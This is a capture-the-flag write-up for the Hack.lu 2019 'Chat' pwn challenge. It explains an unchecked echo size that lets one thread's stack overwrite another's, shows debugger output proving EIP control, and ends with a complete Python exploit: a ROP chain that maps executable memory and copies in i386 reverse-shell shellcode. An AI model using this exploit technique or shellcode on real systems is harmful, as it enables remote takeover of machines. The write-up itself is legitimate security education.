Chat

Hacklu CTF 2019

Category:pwn – Difficulty: easy – points: 381 – solves: 16

To coordinate our efforts for a better future we started to build a chat program. While it doesn’t have much functionality, yet, maybe you could have a look at it already to see if you can find any serious vulnerabilities. You know, better save than sorry!

Download challenge files

nc chat.forfuture.fluxfingers.net 1337

We are faced with an elf executable. Looks like a simple chat program.
It lets you create Chat channels, join and pause channels.

Command Commands:
    /nc - New Chat Channel - Create and join a new Chat Channel.
    /jc x   - Join Chat Channel - Join the Chat Channel number x.
    /lc - List Chat Channels - Lists the Chat Channels.
    /q  - Quit - Quit this awesome chat program.
    /h  - Help - Print this help message.

Inside a channel you have the following commands:

Chat Commands:
    /e  - Echo - The first line following this command specifies the number of characters to echo.
    /pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
    /qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.
    /h  - Help - Print this help message.
That's all for now :/

The echo command looks promising:

if ( strlen(command) != 3 || command[0] != '/' || command[1] != 'e' )
            break;
          v15 = 32;
          if ( !fgets(command) )
            v14 = printf("Chat Command Error: Reading Echo Size\n");
          size = atoi(command);
          size_plus_1 = size + 1;
          stack_addr = (int *)((char *)&v4 - ((size + 16) & 0xFFFFFFF0));
          if ( !fgets((char *)&v4 - ((size + 16) & 0xFFFFFFF0)) )
          {
            active[v23] = 2;
            return 0;
          }
          v13 = 1;
          v12 = stack_addr;
          v2 = strlen(stack_addr);
          v11 = write(1, v12, v2);
          v10 = 1;
          v9 = write(1, "\n", 1);

There is no validation of the size when using fgets to write to a stack location.
Our first impulse was to try and pass a negative number as size – and in this way to overwrite our own stack frame and our return-address. This didn’t work since the fgets validates size > 0.
We then tried to think of what we can overwrite if we can write to addresses lower than our stack.
Looking at vmmap after /nc command:

gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-- /.../chat
0x08049000 0x080c2000 0x00001000 r-x /.../chat
0x080c2000 0x080f3000 0x0007a000 r-- /.../chat
0x080f4000 0x080f8000 0x000ab000 rw- /.../chat
0x080f8000 0x0811d000 0x00000000 rw- [heap]
0xf7fbc000 0xf7fbd000 0x00000000 ---    
0xf7fbd000 0xf7ff9000 0x00000000 rw-    <--- CHANNEL 1 STACK (size 0x3c000)
0xf7ff9000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rw- [stack]

After leaving the channel (/pc) and creating a new one (/nc) we see:

gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-- /.../chat
0x08049000 0x080c2000 0x00001000 r-x /.../chat
0x080c2000 0x080f3000 0x0007a000 r-- /.../chat
0x080f4000 0x080f8000 0x000ab000 rw- /.../chat
0x080f8000 0x0811d000 0x00000000 rw- [heap]
0xf7f7f000 0xf7f80000 0x00000000 --- 
0xf7f80000 0xf7fbc000 0x00000000 rw- <-- CHANNEL 2 STACK
0xf7fbc000 0xf7fbd000 0x00000000 --- 
0xf7fbd000 0xf7ff9000 0x00000000 rw- <-- CHANNEL 1 STACK
0xf7ff9000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rw- [stack]

So by using the echo command from channel 1 we can overwrite the stack of channel 2. This seems promising 🙂

After a little experimentation with the sizes we got this:

gef➤  run < input.txt 
Starting program: /.../chat < input.txt
Command Channel:
[New LWP 31829]
> Chat Channel 1:
> Command Channel:
[New LWP 31830]
> Chat Channel 2:
> Command Channel:
> Joining Chat Channel.
Chat Channel 1:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

[LWP 31829 exited]

Thread 3 "chat" received signal SIGSEGV, Segmentation fault.
[Switching to LWP 31830]
──────────────────────────────────────────────[ registers ]────
$eax   : 0x000000f0
$ebx   : 0x080f63a4  →  0x00000000
$ecx   : 0x00000080
$edx   : 0x62616165 ("eaab"?)
$esp   : 0xf7fbb0fc  →  0x0807a883  →  <__libc_disable_asynccancel+115> cmp eax, 0xfffff000
$ebp   : 0x000000f0
$esi   : 0x00000000
$edi   : 0x080f5f74  →  0x00000000
$eip   : 0x61616161 ("aaaa"?)
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
──────────────────────────────────────────────────[ stack ]────
0xf7fbb0fc│+0x00: 0x0807a883  →  <__libc_disable_asynccancel+115> cmp eax, 0xfffff000    ← $esp
0xf7fbb100│+0x04: 0x00000000
0xf7fbb104│+0x08: 0x00000000
0xf7fbb108│+0x0c: 0x080f7384  →  "247392"
0xf7fbb10c│+0x10: 0xf7fbb198  →  0x00000007
0xf7fbb110│+0x14: 0x00000000
0xf7fbb114│+0x18: 0xf7fbbb40  →  0x080f7384  →  "247392"
0xf7fbb118│+0x1c: 0xf7fbb1a8  →  0xf7fbb218  →  0xf7fbb2e8  →  0x00000000
──────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
────────────────────────────────────────────────[ threads ]────
[#0] Id 3, Name: "chat", stopped, reason: SIGSEGV
[#1] Id 1, Name: "chat", stopped, reason: SIGSEGV
──────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────
0x61616161 in ?? ()

Now that we have control of eip – we need to see how to ROP to gain execution of our own shellcode.
We are overwriting the return address on the stack of the function
__kernel_vsyscall.

We can use some bytes in the command buffer (32 total size) and gadgets from the code segment.
We chose to use a reverse shell shellcode.

We ended up doing something a little complicated:
We wrote a ROP chain to do allocate with mmap a 0x1000 byte area with rwx protection at a fixed address (0xf0000000)
We then used memset to write our shellcode to that area.
During the process we noticed that it didn’t work – since we had 0xa in our stack – and fgets will stop reading at newline.
To overcome this, we used memcpy to copy the first 23 bytes from the command buffer and the rest using memset.

This worked 😉

'''<br>
import struct<br>
print("/nc")<br>
print("/pc")<br>
print("/nc")<br>
print("/pc")<br>
print("/jc 1")<br>
print("/e")<br>
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x68\x00\x00\x00\x00\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x87\xdf\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x89\xE2\x53\x89\xE1\xB0\x0B\xCD\x80"<br>
print("250000 " + shellcode[:23])<br>
MEMSET="\xb0\x6b\x07\x08"<br>
ADD_ESP_58="\xae\xa6\x04\x08"<br>
ADD_ESP_18="\x88\xab\x04\x08"<br>
MEMCPY="\x90\x6a\x07\x08"<br>
MMAP = "\x40\x94\x07\x08"<br>
s = "aaaabaaacaaa" + MMAP + ADD_ESP_18 + struct.pack("<IIIIIII", 0xf0000000,<br>
        0x1000, 7, 0x20032, 0xffffffff, 0, 0)<br>
shellcode = shellcode[23:]<br>
s += MEMCPY + ADD_ESP_58 + struct.pack("<IIIIIII", 0xf0000000, 0x80f7384 + 7, 23, 0, 0, 0, 0) + "\x00" * 0x40<br>
for i,b in enumerate(shellcode):<br>
    s += MEMSET + ADD_ESP_18 + struct.pack("<IIIIIII", 0xf0000000 + i + 23, ord(b), 1, 0, 0, 0, 0)
s += "\x00\x00\x00\xf0"<br>
print(s)<br>
'''

The flag was: flag{thread_chat_with_alloca}